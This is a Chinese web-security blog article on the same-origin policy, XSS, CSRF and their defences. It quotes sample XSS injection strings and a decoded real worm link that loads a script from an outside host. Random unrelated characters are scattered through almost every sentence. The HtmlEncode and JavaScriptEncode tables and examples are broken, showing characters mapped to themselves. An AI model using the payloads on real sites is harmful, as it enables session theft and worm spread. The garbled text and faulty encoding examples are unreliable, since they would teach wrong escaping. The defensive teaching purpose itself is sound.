客戶端(瀏覽器)安全
同源策略(Same Origin Policy)
同源策略阻止從一個(gè)源加載的文檔或腳本獲取或設(shè)置另一個(gè)源加載的文檔的屬性。
如:
不能通過(guò)Ajax獲取另一個(gè)源的數(shù)據(jù)崖媚;
JavaScript不能訪問(wèn)頁(yè)面中iframe加載的跨域資源搀绣。
對(duì) http://store.company.com/dir/page.html 同源檢測(cè)
跨域限制
- 瀏覽器中,script盅蝗、img、iframe、link等標(biāo)簽袍嬉,可以跨域引用或加載資源。
- 不同于 XMLHttpRequest灶平,通過(guò)src屬性加載的資源伺通,瀏覽器限制了JavaScript的權(quán)限,使其不能讀逢享、寫返回的內(nèi)容罐监。
- XMLHttpRequest 也受到也同源策略的約束,不能跨域訪問(wèn)資源瞒爬。
JSONP
為了解決 XMLHttpRequest 同源策略的局限性弓柱,JSONP出現(xiàn)了沟堡。
JSONP并不是一個(gè)官方的協(xié)議,它是利用script標(biāo)簽中src屬性具有跨域加載資源的特性矢空,而衍生出來(lái)的跨域數(shù)據(jù)訪問(wèn)方式航罗。
CORS(Cross-Origin Resource Sharing)
CORS,即:跨域資源共享屁药。
這是W3C委員會(huì)制定的一個(gè)新標(biāo)準(zhǔn)粥血,用于解決 XMLHttpRequest 不能跨域訪問(wèn)資源的問(wèn)題。目前支持情況良好(特指移動(dòng)端)酿箭。
想了解更多复亏,可查看之前的文章:《CORS(Cross-Origin Resource Sharing) 跨域資源共享》
XSS(Cross Site Script)
XSS(Cross Site Script) 即:跨站腳本攻擊。
本來(lái)縮寫其應(yīng)該是CSS七问,不過(guò)為了避免和CSS層疊樣式表 (Cascading Style Sheets)重復(fù)蜓耻,所以在安全領(lǐng)域叫做 XSS 。
XSS 分類
XSS 主要分為兩種形態(tài)
- 反射型XSS(非持久型XSS)械巡。需要誘惑用戶去激活的XSS攻擊刹淌,如:點(diǎn)擊惡意鏈接。
- 存儲(chǔ)型XSS讥耗∮泄矗混雜有惡意代碼的數(shù)據(jù)被存儲(chǔ)在服務(wù)器端,當(dāng)用戶訪問(wèn)輸出該數(shù)據(jù)的頁(yè)面時(shí)古程,就會(huì)促發(fā)XSS攻擊蔼卡。具有很強(qiáng)的穩(wěn)定性。
XSS Payload
XSS Payload挣磨,是指那些用于完成各種具體功能的惡意腳本雇逞。
由于實(shí)現(xiàn)XSS攻擊可以通過(guò)JavaScript、ActiveX控件茁裙、Flash插件塘砸、Java插件等技術(shù)手段實(shí)現(xiàn),下面只討論JavaScript的XSS Payload晤锥。
通過(guò)JavaScript實(shí)現(xiàn)的XSS Payload掉蔬,一般有以下幾種:
- Cookie劫持
- 構(gòu)造請(qǐng)求
- XSS釣魚
- CSS History Hack
Cookie劫持
由于Cookie中,往往會(huì)存儲(chǔ)著一些用戶安全級(jí)別較高的信息矾瘾,如:用戶的登陸憑證女轿。
當(dāng)用戶所訪問(wèn)的網(wǎng)站被注入惡意代碼,它只需通過(guò) *document.cookie *這句簡(jiǎn)單的JavaScript代碼壕翩,就可以順利獲取到用戶當(dāng)前訪問(wèn)網(wǎng)站的cookies蛉迹。
如果攻擊者能獲取到用戶登陸憑證的Cookie,甚至可以繞開登陸流程戈泼,直接設(shè)置這個(gè)cookie的值婿禽,來(lái)訪問(wèn)用戶的賬號(hào)赏僧。
構(gòu)造請(qǐng)求
JavaScript 可以通過(guò)多種方式向服務(wù)器發(fā)送GET與POST請(qǐng)求。
網(wǎng)站的數(shù)據(jù)訪問(wèn)和操作扭倾,基本上都是通過(guò)向服務(wù)器發(fā)送請(qǐng)求而實(shí)現(xiàn)的淀零。
如果讓惡意代碼順利模擬用戶操作,向服務(wù)器發(fā)送有效請(qǐng)求膛壹,將對(duì)用戶造成重大損失驾中。
例如:更改用戶資料、刪除用戶信息等...
XSS釣魚
關(guān)于網(wǎng)站釣魚模聋,詳細(xì)大家應(yīng)該也不陌生了肩民。
就是偽造一個(gè)高度相似的網(wǎng)站,欺騙用戶在釣魚網(wǎng)站上面填寫賬號(hào)密碼或者進(jìn)行交易链方。
而XSS釣魚也是利用同樣的原理持痰。
注入頁(yè)面的惡意代碼,會(huì)彈出一個(gè)想死的彈窗祟蚀,提示用戶輸入賬號(hào)密碼登陸工窍。
當(dāng)用戶輸入后點(diǎn)擊發(fā)送,這些資料已經(jīng)去到了攻擊者的服務(wù)器上了前酿。
如:
CSS History Hack
CSS History Hack是一個(gè)有意思的東西患雏。它結(jié)合 瀏覽器歷史記錄 和 CSS的偽類:a:visited,通過(guò)遍歷一個(gè)網(wǎng)址列表來(lái)獲取其中<a>標(biāo)簽的顏色罢维,就能知道用戶訪問(wèn)過(guò)什么網(wǎng)站淹仑。
相關(guān)鏈接:http://ha.ckers.org/weird/CSS-history-hack.html
PS:目前最新版的Chrome、Firefox肺孵、Safari已經(jīng)無(wú)效匀借,Opera 和 IE8以下 還可以使用。
XSS Worm
XSS Worm平窘,即XSS蠕蟲怀吻,是一種具有自我傳播能力的XSS攻擊,殺傷力很大初婆。
引發(fā) XSS蠕蟲 的條件比較高,需要在用戶之間發(fā)生交互行為的頁(yè)面猿棉,這樣才能形成有效的傳播磅叛。一般要同時(shí)結(jié)合 反射型XSS 和 存儲(chǔ)型XSS 。
案例:Samy Worm萨赁、新浪微博XSS攻擊
新浪微博XSS攻擊
這張圖弊琴,其實(shí)已經(jīng)是XSS蠕蟲傳播階段的截圖了。
攻擊者要讓XSS蠕蟲成功被激活杖爽,應(yīng)該是通過(guò) 私信 或者 @微博 的方式敲董,誘惑一些微博大號(hào)上當(dāng)紫皇。
當(dāng)這些大號(hào)中有人點(diǎn)擊了攻擊鏈接后,XSS蠕蟲就被激活腋寨,開始傳播了聪铺。
這個(gè)XSS的漏洞,其實(shí)就是沒(méi)有對(duì)地址中的變量進(jìn)行過(guò)濾萄窜。
把上圖的鏈接decode了之后铃剔,我們就可以很容易的看出,這個(gè)鏈接的貓膩在哪里查刻。
鏈接上帶的變量键兜,直接輸出頁(yè)面,導(dǎo)致外部JavaScript代碼成功注入穗泵。
把鏈接decode之后:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
相關(guān)XSS代碼這里就不貼了普气,Google一下就有。
其實(shí)也要感謝攻擊者只是惡作劇了一下佃延,讓用戶沒(méi)有造成實(shí)際的損失现诀。
網(wǎng)上也有人提到,如果這個(gè)漏洞結(jié)合XSS釣魚苇侵,再配合隱性傳播赶盔,那樣殺傷力會(huì)更大。
XSS 防御技巧
HttpOnly
服務(wù)器端在設(shè)置安全級(jí)別高的Cookie時(shí)榆浓,帶上HttpOnly的屬性于未,就能防止JavaScript獲取。
PHP設(shè)置HttpOnly:
1 <?
2 header("Set-Cookie: a=1;", false);
3 header("Set-Cookie: b=1;httponly", false);
4 setcookie("c", "1", NULL, NULL, NULL, NULL, ture);
PS:手機(jī)上的QQ瀏覽器4.0陡鹃,居然不支持httponly烘浦,而3.7的版本卻沒(méi)問(wèn)題。測(cè)試平臺(tái)是安卓4.0版本萍鲸。
估計(jì)是一個(gè)低級(jí)的bug闷叉,已經(jīng)向QQ瀏覽器那邊反映了情。
截止時(shí)間:2013-01-28
輸入檢查
任何用戶輸入的數(shù)據(jù)脊阴,都是“不可信”的握侧。
輸入檢查,一般是用于輸入格式檢查嘿期,例如:郵箱品擎、電話號(hào)碼、用戶名這些...
都要按照規(guī)定的格式輸入:電話號(hào)碼必須純是數(shù)字和規(guī)定長(zhǎng)度备徐;用戶名除 中英文數(shù)字 外萄传,僅允許輸入幾個(gè)安全的符號(hào)。
輸入過(guò)濾不能完全交由前端負(fù)責(zé)蜜猾,前端的輸入過(guò)濾只是為了避免普通用戶的錯(cuò)誤輸入,減輕服務(wù)器的負(fù)擔(dān)。
因?yàn)楣粽咄耆梢岳@過(guò)正常輸入流程露乏,直接利用相關(guān)接口向服務(wù)器發(fā)送設(shè)置。
所以赶么,前端和后端要做相同的過(guò)濾檢查。
輸出檢查
相比輸入檢查梦碗,前端更適合做輸出檢查禽绪。
可以看到,HttpOnly和前端沒(méi)直接關(guān)系洪规,輸入檢查的關(guān)鍵點(diǎn)也不在于前端印屁。
那XSS的防御就和前端沒(méi)關(guān)系了?
當(dāng)然不是,隨著移動(dòng)端web開發(fā)發(fā)展起來(lái)了斩例,Ajax的使用越來(lái)越普遍雄人,越來(lái)越多的操作都交給前端來(lái)處理。
前端也需要做好XSS防御念赶。
JavaScript直接通過(guò)Ajax向服務(wù)器請(qǐng)求數(shù)據(jù)础钠,接口把數(shù)據(jù)以JSON格式返回。前端整合處理數(shù)據(jù)后叉谜,輸出頁(yè)面旗吁。
所以,前端的XSS防御點(diǎn)停局,在于輸出檢查很钓。
但也要結(jié)合XSS可能發(fā)生的場(chǎng)景。
XSS注意場(chǎng)景
在HTML標(biāo)簽中輸出
如:<a href=# >{$var}</a>
風(fēng)險(xiǎn):{$var} 為 <img src=# onerror="/xss/" />
防御手段:變量HtmlEncode后輸出
在HTML屬性中輸出
如:<div data-num="{$var}"></div>
風(fēng)險(xiǎn):{$var} 為 " onclick="/xss/
防御手段:變量HtmlEncode后輸出
在標(biāo)簽中輸出
如:<script>var num = {$var};</script>
風(fēng)險(xiǎn):{$var} 為 1; alert(/xss/)
防御手段:確保輸出變量在引號(hào)里面董栽,再讓變量JavaScriptEncode后輸出码倦。
在事件中輸出
如:<span onclick="fun({$var})">hello!click me!</span>
風(fēng)險(xiǎn):{$var} 為 ); alert(/xss/); //
防御手段:確保輸出變量在引號(hào)里面,再讓變量JavaScriptEncode后輸出锭碳。
在CSS中輸出
一般來(lái)說(shuō)袁稽,盡量禁止用戶可控制的變量在<style>標(biāo)簽和style屬性中輸出。
在地址中輸出
如:<a >
風(fēng)險(xiǎn):{$var} 為 " onclick="alert(/xss/)
防御手段:對(duì)URL中除 協(xié)議(Protocal) 和 主機(jī)(Host) 外進(jìn)行URLEncode擒抛。如果整個(gè)鏈接都由變量輸出推汽,則需要判斷是不是http開頭。
HtmlEncode
對(duì)下列字符實(shí)現(xiàn)編碼
& ——》 &
< ——》 <
> ——》 >
" ——》 "
' ——》 ' (IE不支持')
/ ——》 /
JavaScriptEncode
對(duì)下列字符加上反斜杠
" ——》 "
' ——》 '
\ ——》 \
\n ——》 \n
\r ——》 \r (Windows下的換行符)
例子: "\".replace(/\/g, "\\"); //return \
推薦一個(gè)JavaScript的模板引擎:artTemplate
URLEncode
使用以下JS原生方法進(jìn)行URI編碼和解碼:
- encodeURI
- decodeURI
- decodeURIComponent
- encodeURIComponent
CSRF(Cross-site request forgery)
CSRF 即:跨站點(diǎn)請(qǐng)求偽造
網(wǎng)站A :為惡意網(wǎng)站歧沪。
網(wǎng)站B :用戶已登錄的網(wǎng)站民泵。
當(dāng)用戶訪問(wèn) A站 時(shí),A站 私自訪問(wèn) B站 的操作鏈接槽畔,模擬用戶操作。
假設(shè)B站有一個(gè)刪除評(píng)論的鏈接:http://b.com/comment/?type=delete&id=81723
A站 直接訪問(wèn)該鏈接胁编,就能刪除用戶在 B站 的評(píng)論厢钧。
CSRF 的攻擊策略
因?yàn)闉g覽器訪問(wèn) B站 相關(guān)鏈接時(shí)鳞尔,會(huì)向其服務(wù)器發(fā)送 B站 保存在本地的Cookie,以判斷用戶是否登陸早直。所以通過(guò) A站 訪問(wèn)的鏈接寥假,也能順利執(zhí)行。
CSRF 防御技巧
驗(yàn)證碼
幾乎所有人都知道驗(yàn)證碼霞扬,但驗(yàn)證碼不單單用來(lái)防止注冊(cè)機(jī)的暴力破解糕韧,還可以有效防止CSRF的攻擊。
驗(yàn)證碼算是對(duì)抗CSRF攻擊最簡(jiǎn)潔有效的方法喻圃。
但使用驗(yàn)證碼的問(wèn)題在于萤彩,不可能在用戶的所有操作上都需要輸入驗(yàn)證碼。
只有一些關(guān)鍵的操作斧拍,才能要求輸入驗(yàn)證碼雀扶。
不過(guò)隨著HTML5的發(fā)展。
利用canvas標(biāo)簽肆汹,前端也能識(shí)別驗(yàn)證碼的字符愚墓,讓CSRF生效。
Referer Check
Referer Check即來(lái)源檢測(cè)昂勉。
HTTP Referer 是 Request Headers 的一部分浪册,當(dāng)瀏覽器向web服務(wù)器發(fā)出請(qǐng)求的時(shí)候,一般會(huì)帶上Referer岗照,告訴服務(wù)器用戶從哪個(gè)站點(diǎn)鏈接過(guò)來(lái)的村象。
服務(wù)器通過(guò)判斷請(qǐng)求頭中的referer,也能避免CSRF的攻擊谴返。
Token
CSRF能攻擊成功煞肾,根本原因是:操作所帶的參數(shù)均被攻擊者猜測(cè)到。
既然知道根本原因嗓袱,我們就對(duì)癥下藥籍救,利用Token。
當(dāng)向服務(wù)器傳參數(shù)時(shí)渠抹,帶上Token蝙昙。這個(gè)Token是一個(gè)隨機(jī)值,并且由服務(wù)器和用戶同時(shí)持有梧却。
Token可以存放在用戶瀏覽器的Cookie中奇颠,
當(dāng)用戶提交表單時(shí)帶上Token值,服務(wù)器就能驗(yàn)證表單和Cookie中的Token是否一致放航。
(前提烈拒,網(wǎng)站沒(méi)有XSS漏洞,攻擊者不能通過(guò)腳本獲取用戶的Cookie)
最后,送上 HTML安全備忘列表:http://heideri.ch/jso/
本文鏈接:http://www.cnblogs.com/maplejan/archive/2013/01/28/2880771.html
作者:Maple Jan
參考:
《白帽子講Web安全 》
https://developer.mozilla.org/zh-CN/docs/JavaScript%E7%9A%84%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5